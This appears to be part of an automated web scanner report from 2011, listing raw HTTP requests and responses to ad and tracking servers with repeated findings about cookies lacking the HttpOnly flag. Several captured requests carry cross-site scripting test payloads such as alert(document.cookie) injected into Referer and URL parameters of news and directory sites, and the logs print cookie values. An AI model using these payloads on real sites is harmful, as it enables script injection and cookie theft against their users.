GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/1145927286/Bottom/Vault20/MayerBrown_V_Thrive_090910/Mayer-Brown-Banner_lmnv4.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:01 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mayerbrownrowe.com/careeropportunities/index.asp Content-Length: 335 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mayerbrownrowe.com/careeropportuniti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/1186229088/Middle/Vault20/Freshfields_V_Succeed_082410/Freshfields_CI_Succeed_082410_300x250M.html/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:05 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.freshfields.com/usrecruiting Content-Length: 315 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.freshfields.com/usrecruiting">here</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/180193437/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEAP_728x90.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:07 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /engine?site=123082;size=1x1;category=Directory;kw=Directory+Texas HTTP/1.1 Host: pbid.pro-market.net Proxy-Connection: keep-alive Referer: http://www.usdirectory.com/nypr.aspx?tbid=1&afid=1993&cc=54111051004ab29';alert(document.cookie)//2894fafc0c6&qs=TX&ct=&rg=&qhqn=&cr=3209505169 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anProfile=-dov6gi+0+rs=c+1j=57:1+1f=d
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: app2.ny Set-Cookie: anProfile=3ka4gl+0+s0=(i)+1q=3q+h=5m+1o=e7+1m=1+rv=(-5)+rt='ADC1D6F3'+rs=c+1f=d+4=2m1; Domain=.pro-market.net; Expires=Sat, 13-Aug-2011 15:38:20 GMT; Path=/ Pragma: no-cache Cache-Control: no-cache Expires: Mon, 1 Jan 1990 0:0:0 GMT Content-Type: text/html Vary: Accept-Encoding Date: Wed, 19 Jan 2011 15:38:20 GMT Connection: close
<html><body rightmargin=0 leftmargin=0 topmargin=0 bottommargin=0><!-- Location or keyword not matched.kw=directory+directory+texas,Category=0 --></body></html>
The following cookie was issued by the application and does not have the HttpOnly flag set:
CAKEPHP=ts8jeaq2mq7kbbsq0v10i2s3u2; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /functions/parse_url HTTP/1.1 Host: phpjs.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: nginx/0.7.67 Date: Wed, 19 Jan 2011 18:12:49 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.3.3-1ubuntu9.3 Set-Cookie: CAKEPHP=ts8jeaq2mq7kbbsq0v10i2s3u2; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Location: http://phpjs.org/functions/parse_url:485 Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /D08734/a1/0/0/0.gif?D=DM_LOC%3Dhttp%253A%252F%252Fgoogle.com%252F0.gif%253Fid%253DCAESEFlfd-sZ8CX6_Cz86QSvO_0&cver=1 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==; rsi_us_1000000=pUMd5U+DfxIU7WxyXcrXePyshmL9qnycX9zb1nGBmx1V/jUVnfeldtQjUT/l9QEvuRA3QBA8Si99k9w0tzkcnzco6PEsDBDvy8d4mY8+5HZS0vDThyEYovFg0RSTcWdd5u8ZLvCmIrL4UCfpY/4L/CqrSvJCILJ1d3GZZY8xL4FE3tHR+wk8QhtzsK6CjvVfUfYAsMiJxD1Swa5MdzflySt7JaSZIPI/xOXJjGiHDa1pifHkTxTBnRG6xH+UvNOxNNGcpRK5dfBfHXqwMYaiwTTegzvXkn1AHqNkQ8GkIGXd6lFLTY6Gsow41j4IEHXPdjt/Aq5n38nCwuLkhd+RMWvpb2lwq3vhoK0qH0OLD7WDgyUcDTSgHXFgoIaTzuq4W5bHAKuZHGGL3ZP9iClrM49hCWtsijtqCZRKvMFL0WrYdeEiqLuuWhu7p8ZRZKB2xdDB75ykboN/YRnA/OXtQFdb1ljzYHwQf/Q654LJFtsdK/b1MVhjUsekLkRDh0Ura+RaQgZymGRxqHGTwV0mI8kKlYPDFQOSN4atuJ9QrAqeeSSuv23axRMTzUFDLLJvqqGCDlX9oefOvqBTtt0F/hfRzJVeonQsKJYCQDJW3kEjiqME80GbU8dSiTksQQidz0JUIJbUhbxtFTJLhyWPkvRyWkmAhjCQC0UFmEKxzWXIwnrd3/pwp2eYvBfMZ3AgrrFVBlzZmhWlG7A5zmSVP0xb82DkIwXjDDr9yYHSnRGMyBi7n2+eSxz7bXFEdPlpY6yVxmaHdtYsUjF2/hTslkfyXMX1/xCVazRLA6r0KZnIe/FyS2WsBMwCEeoeD5FejhI=; rsi_segs_1000000=pUPFOUmFbxIUVoVdtstSL5KI3a4MU3gyBRZlLmUjQ2DIK2cIAt/jBTBpLVW9VhPgC8BiGwlGGQKHsSz3iD5v+sybgQpEeUUYHaxm/DWpnGGAPjPpSx+4Hn8gnMuMfuY850Yv4M30nuT3TegK17tckQQ8gGRvH8yl9SBNExUB96k1S1rNIiEZXlCSaW8vbDdz/GMxj2DBf2ToqH421bbvPYZj1vO58X9tr/wvWwbdIEtdyv0+mstZbRg=; rtc_0=MLsvs1cucS5r5hBE3bu6yym0KA0Cy8LPfQEmNj/RSJlndawJcCE4XS02dKluNaBcZlRiSbcC6N1ghvMtbE5tBBmMSZiKGsOToLzsbBM3dhG6AJtwenjSQv5BZV55VC1/rvMQjBaR2n4r87rMPeIfrxkGoUPvVWRKMO4/yPc7aCI+4ifw20M1tY/HHaMbPTs4/jHWoTS9S5lBnH6PhRRabtCFfpx8Rq2Wgzjo7CLBSTdIvupGk1EMV4gvII0HHh+3B5UHkRDVcyowJZpmnvckId2HO80OVL0i6SA5tf/BGuHLmGL60+iIm5rTtTDLogsODhIXaVMjEWScL9J9qwHo1B/DDwcr8AFdiDehRPGur3edc0qL1bFSkU0Qdc8TujIQ+lg9+VYRrQbeN4eAGLYj5F5j8FbZPs6bQHPRuQZnxdfQ0D17CDq/2FHD1Z1yErIh44pt5S3MrkHojHqqeeHQ
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPNeUnF7gMUllNab/ezT+71VQYEkTQCYSwjFU01BIg4++Le2nO24JTIAUVJwi+jnJcyKYakbf/S0gDDnsrxzP6Q8bccW7inYhxIEReYssGkPk3TX6r/UnEo6AvqKbvYFPGE/CbX5eU4uZjj/PmQvxNVjyMJNK0w2iycTJ1btAJMtqRdr9SeGPXC86v28ysKpcPGxQ0Mg51oPtSRjqalHk7hDgQl43jPhNdiT5pmQLJ4qlaKX9vD; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:42 GMT; Path=/ Set-Cookie: udm_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: udm_0=MLv39VEJqSpn597EftLIOCfrv8grZUvvIY/k4BjsKS4lA+CxzDcafWhL5npd0Kzl34KW/Z6cmK3bUe06AcZ1bw8yaFFCE2flczAt/AB0ATjup7Ktcyti4wVQFxEHZai8j4sSgZ6clD1XkhVpGey1Z7yA5AlpdGVyOs5xwaReRk+k4BczXPYhzNAkA4XKep+XhEKvwePPg/yXRaFZOLjUWb7kTdH8XcvmfQYFt1fXyDUCTVBH3KzfSq7YgBBnnS3tJ/usAHg3qConywSlDJpNLbhbLmBh4NtEbRMqoVoGeP0HzuwHXuqd1Lc2z6tmqgND/uu4n6mc5ANCH3CN2zqj4fEgEbB1FrYKMrDQj7xFTDDtNqj8d3PyMmTWF96q8JL30haZ7fvWETdpgnWxpchXmiED+JyalvUADF/U5KNYYjWYIbPCjNfTYCB3TA1oqMHBfsoSsb4ugIYZUFW0/6iPhgHZ3tzfHSA8Hh23w8kMt33bIQIB27DmUlGfmtr59Mg/xAeqYAazxRjEo9ZYV99As4Dqjgo1pM6bzRbWjM10cQFPiDkBYwhjhUYMB/MLeFJp4vRUWM9wjq//85KUCXj+PRO7EOFkcoeGw+0rRHzD8solfik+y6VpnGYzR2+d79y2h67kpiE/IHlqxnCEZa3ogGfF2vdzKgFnOZ0XzW031EmJupOZStX8vTE8I+hzZWaR8jkl+tdSQ9CGcgd5YPu1VEoCMoXPO6EDth3d3568TKyG8MjtgVE31ClY7o8jrqqoPw6snJis7NEQzd7f29+rJz7wvxELJIzv/3KxhPhvw0xcgEj48MNFnLL0KKUnJxdfEfFNvMmx7WlKl+T45eNld3OpKrj31fiPPh8u8F7/uV3Z//asYIQqMLT6LE7UlPJRZhBcSuQErvrF1zPJz/+fiJic8YeDWae6MwyksX2C1boyKdTLgBpEv5nKt5crAI6XL4WEhDgao6pBSX2sQeQEn5B+kXISaBDOCgd1KURnj7iNDEjh49j1KxBJhp4IDd0pHc+Wi4JbeCEhy5oddenb3rYFUInY1kW7CsHjz52BXjuKgVblZkxIUDFxHwsTi4yiV6LmOYnO/VYQcecXwtk=; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:42 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Wed, 19 Jan 2011 17:54:41 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K08784/b3/0/3/1003161/700404383.js?D=DM_LOC%3Dhttp%253A%252F%252Fwww.local.com%252Fresults.aspx%253Fkeyword%253Dlaw%252Boffices%2526CID%253D2531%252Fx22b7005%252522style%25253d%252522x%25253aexpression(alert(document.cookie))%252522e433a090613%2526pid%253DLocal%2526category%253DAttorneys%252520%252526%252520Lawyers%25253A%252520General%252520Practice%2526_rsiL%253D0%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F36%26DM_EOM%3D1&C=K08784 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFOUmFbxIUVoVdtstSL5KI3a4MU3gyBRZlLmUjQ2DIK2cIAt/jBTBpLVW9VhPgC8BiGwlGGQKHsSz3iD5v+sybgQpEeUUYHaxm/DWpnGGAPjPpSx+4Hn8gnMuMfuY850Yv4M30nuT3TegK17tckQQ8gGRvH8yl9SBNExUB96k1S1rNIiEZXlCSaW8vbDdz/GMxj2DBf2ToqH421bbvPYZj1vO58X9tr/wvWwbdIEtdyv0+mstZbRg=; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: rtc_0=MLsvs1cucS5r5hBE3bu6yym0KA0Cy8LPfQEmNj/RSJlndawJcCE4XS02dKluNaBcZlRiSbcC6N1ghvMtbE5tBBmMSZiKGsOToLzsbBM3dhG6AJtwenjSQv5BZV55VC1/rvMQjBaR2n4r87rMPeIfrxkGoUPvVWRKMO4/yPc7aCI+4ifw20M1tY/HHaMbPTs4/jHWoTS9S5lBnH6PhRRabtCFfpx8Rq2Wgzjo7CLBSTdIvupGk1EMV4gvII0HHh+3B5UHkRDVcyowJZpmnvckId2HO80OVL0i6SA5tf/BGuHLmGL60+iIm5rTtTDLogsODhIXaVMjEWScL9J9qwHo1B/DDwcr8AFdiDehRPGur3edc0qL1bFSkU0Qdc8TujIQ+lg9+VYRrQbeN4eAGLYj5F5j8FbZPs6bQHPRuQZnxdfQ0D17CDq/2FHD1Z1yErIh44pt5S3MrkHojHqqeeHQ; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ X-Proc-ms: 3 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 267 Date: Wed, 19 Jan 2011 17:54:40 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel;r=323903281;fpan=1;fpa=P0-224384202-1295452264172;ns=1;url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law;ref=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1295452264171;tzo=360;a=p-93vmRJG_BQlqo HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EJgBYQHnBYGRAJ6DapEADCWxbUD0QAzRAA1jALcMFJMOyRDuQADrENE69EA1CbEOoQBO8jA
Response
HTTP/1.1 204 No Content Connection: close Set-Cookie: d=ELABYQHsBYGyAJ6DapEADCWxbUD0QAzRAA1jALcMFJMOyRDuQADrENE69EA1CbEOoQBO8jA; expires=Tue, 19-Apr-2011 15:50:44 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Date: Wed, 19 Jan 2011 15:50:44 GMT Server: QS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: rafael.lima.myopenid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:26 GMT Server: Apache/2.2 Content-Length: 2020 Content-Type: text/html; charset=UTF-8 X-XRDS-Location: http://rafael.lima.myopenid.com/?xrds=1 Set-Cookie: browser_id=a31aef9638fa947c2060b702bc4d71e1300c100024151b91c108028975fd579c; domain=myopenid.com; path=/; expires=Thu, 19-Jan-2012 18:14:26 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head > <title> http://rafael.lima.myopenid.com/ </title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /xrds HTTP/1.1 Host: rafael.lima.myopenid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:28 GMT Server: Apache/2.2 Content-Length: 1569 Content-Type: application/xrds+xml Set-Cookie: browser_id=b0970771c71f3637df99d012b1051bad98ea3f2748fbbca76a83fcd0015edced; domain=myopenid.com; path=/; expires=Thu, 19-Jan-2012 18:14:28 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /scholar?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html;charset=UTF-8"><meta http-equiv="imagetoolbar" content="no"><title>washington, dc law - Google Scholar</title><style>#gbar,#guser{font-si ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%20%20%20%20%20%20%20%20%20%20%20%20%201','','0C HTTP/1.1 Host: search.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel?pixelID=38582&partnerID=169&key=segment HTTP/1.1 Host: segment-pixel.invitemedia.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=82d726c3-44ee-407c-85c4-39a0b0fc11ef; exchange_uid="eyI0IjpbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsNzM0MTUxXX0="; segments=16681|30767|17329|18086
Response
